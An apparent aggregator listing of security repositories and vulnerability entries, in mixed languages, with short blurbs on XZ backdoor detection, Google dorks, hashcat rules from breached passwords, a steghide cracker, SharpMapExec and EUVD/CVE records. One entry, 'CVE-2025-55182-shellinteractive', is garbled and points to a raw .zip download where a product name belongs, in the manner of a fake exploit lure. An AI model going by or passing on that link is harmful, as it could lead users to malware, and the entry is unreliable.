cve-2024-3094-tools

CVE-2024-3094 XZ Backdoor ツール このリポジトリには、CVE-2024-3094 としても知られる XZ Backdoor 脆弱性のためのツールが含まれています。 CVE-2024-3094 について CVE-2024-3094 は XZ Backdoor としても知られ、XZ データ圧縮ライブラリで発見された重大な脆弱性です。 XZ Backdoor と CVE-2024-3094 の詳細については、包括的な概要と問題のより深い分析の両方を提供する JFrog ブログ記事 を参照してください。 CVE-2024-3094 検出ツール このリポジトリの...

thedorkbox

thedorkbox TheDorkbox は、Google Dorks と OSINT 技術を包括的に収集し、機密データを見つけるためのツールです thedorkbox へようこそ 👋 これは OSINT ツールであり、様々な Google Dorks を HTML テンプレートに埋め込んで、技術者以外のユーザーにも OSINT 技術の重要性と、情報が組織犯罪およびサイバー犯罪捜査にどのように役立つかを理解してもらうためのものです ✨ 使い方 python3 -m http.server 8000 & open your browser and point it to...

brawl-public-game-001

BRAWL One of the challenging problems for cyber security researchers developing detection and response capabilities is finding a realistic environment in which to test their hypothesis and capabilities. The cheapest method is to test capabilities on a small lab network. But this environment is...

ossem-power-up

OSSEM A tool to assess data quality, built on top of the awesome OSSEM project. Mission Answer the question: I want to start hunting ATT&CK techniques, what log sources and events are more suitable? Create transparency on the strengths and weaknesses of your log sources Provide an easy way to...

ossem-power-up

OSSEM データ品質を評価するツールです。素晴らしい OSSEM プロジェクトをベースに構築されています。 ミッション 「ATT&CK のテクニックをハンティングしたい。どのログソースやイベントが適しているか？」という質問に答える ログソースの強みと弱みの透明性を生み出す ログを簡単に評価する方法を提供する OSSEM Power-up 概要 Power-up は、データ品質評価の基盤として OSSEM Detection Data Model DDM を使用します。その主な理由は、ATT&CK Data Sources、Common Information Model のエンティティ...

pantagrule

Pantagrule gargantuan hashcat rulesets generated from compromised passwords Project maintenance warning : This project is deemed completed. No pull requests or changes will be made to this project in the future unless they are actual bugs or migrations to allow these rules to work with newer...

Firebase-Extractor

Firebase-Extractor //モバイルOSINT// このツールはPython2で書かれています。目的はBing検索の結果をすべて解析することです。基本的に、アプリに対してfirebaseio URLが見つかった場合、ユーザーは手動で検索結果を調べて機密データを探す代わりに、このツールを使用できます。このツールは、指定されたFirebase URLをBing検索エンジンの検索クエリとして使用し、検索結果の最初の4ページをスクレイピングし、最後にすべてのURLを機密キーワードについて解析します。 スクリーンショット 以下が使用されたモジュールです: 1.sys 2.reques...

ExtractUsnJrnl

NTFSの変更ジャーナルは $Extend$UsnJrnl にあるファイルです。これは通常のディレクトリ一覧では見つけることができず、通常の手段でも見つけられないシステムメタファイルです。関連データは $J という名前の代替データストリームにあります。もう一つ $Max と呼ばれるADSもありますが、これはほとんど無関係です。$J...

SharpMapExec

SharpMapExec SharpMapExec は、CrackMapExec のシャープなバージョンです。このツールは、ネットワークのペネトレーションテストを簡素化し、内部脅威シミュレーション演習においてしばしば必要とされるWindows上で動作するスイスアーミーナイフを作成するために作られました。...

EUVD-2026-91136

Mooncake transfer engine before 0.3.13 contains an untrusted pointer dereference in ServerSession::readHeader that allows unauthenticated attackers to read and write arbitrary process memory via the TCP transport data port. Attackers can send a crafted SessionHeader with arbitrary addr and size...

EUVD-2026-91116

infiniflow ragflow 0.24.0 is vulnerable to Incorrect Access Control via runmindmap. A reachable path accepts a caller-selected object or tenant identifier and reaches a data-access operation without a visible owner, tenant, workspace, or membership binding on that object...

EUVD-2026-91069

: Use of Hard-coded Cryptographic Key vulnerability in Johnson Controls EasyIO FS32 allows : Retrieve Embedded Sensitive Data. This issue affects EasyIO FS32: before 3.0b63...

EUVD-2026-91117

infiniflow ragflow 0.24.0 is vulnerable to Incorrect Access Control via tracemindmap. An externally reachable path accepts a caller-selected object or tenant identifier and reaches a data-access operation without a visible owner, tenant, workspace, or membership binding on that object...

EUVD-2026-91071

On-Chip Debug Interface vulnerability in Johnson Controls Neo Series MVP2 allows Collect Data from Common Resource Locations. This issue affects Neo Series MVP2: before 3.3b63...

EUVD-2026-91070

On-Chip Debug Interface vulnerability in Johnson Controls EasyIO FS32 allows Collect Data from Common Resource Locations. This issue affects EasyIO FS32: before 3.3b63...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - コマンドを簡単かつ安全に実行 🚀 概要 CVE-2025-55182 は、https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip および React Server Components における脆弱性です。この問題により、React Server Actions...

CVE-2026-103764

Mooncake transfer engine before 0.3.13 contains an untrusted pointer dereference in ServerSession::readHeader that allows unauthenticated attackers to read and write arbitrary process memory via the TCP transport data port. Attackers can send a crafted SessionHeader with arbitrary addr and size...

stegseek

⚡ Stegseek Stegseekは、ファイルから隠しデータを抽出するために使用できる超高速度のsteghideクラッカーです。元のsteghideプロジェクトのフォークとして構築されており、その結果、他のクラッカーよりも数千倍 高速で、rockyou.txt全体を2秒未満で処理できます。 Stegseekは、パスワードなしでsteghideメタデータを抽出するためにも使用でき、ファイルにsteghideデータが含まれているかどうかをテストするために使用できます。 rockyou.txtは、1400万以上のパスワードを含む有名なパスワードリストです。 デモ:...

Bootloader_Unlock_Anbernic_T820

Anbernic Unisoc T820 引导加载程序解锁指南 - TheGammaSqueeze - https://github.com/TheGammaSqueeze 解锁引导加载程序是刷写任何自定义固件或自定义修复补丁之前的必要步骤。 你可能对解锁引导加载程序后的这个摇杆灵敏度修复感兴趣：https://github.com/TheGammaSqueeze/BootloaderUnlockAnbernicT820/releases/tag/analogfix 警告： 请自行承担风险。解锁引导加载程序将使你的保修失效，并可能损坏你的设备。我对你的设备损坏或任何数据丢失概不负责。 仅...

pacbot

Introduction Policy as Code Bot PacBot is a platform for continuous compliance monitoring, compliance reporting and security automation for the cloud. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to...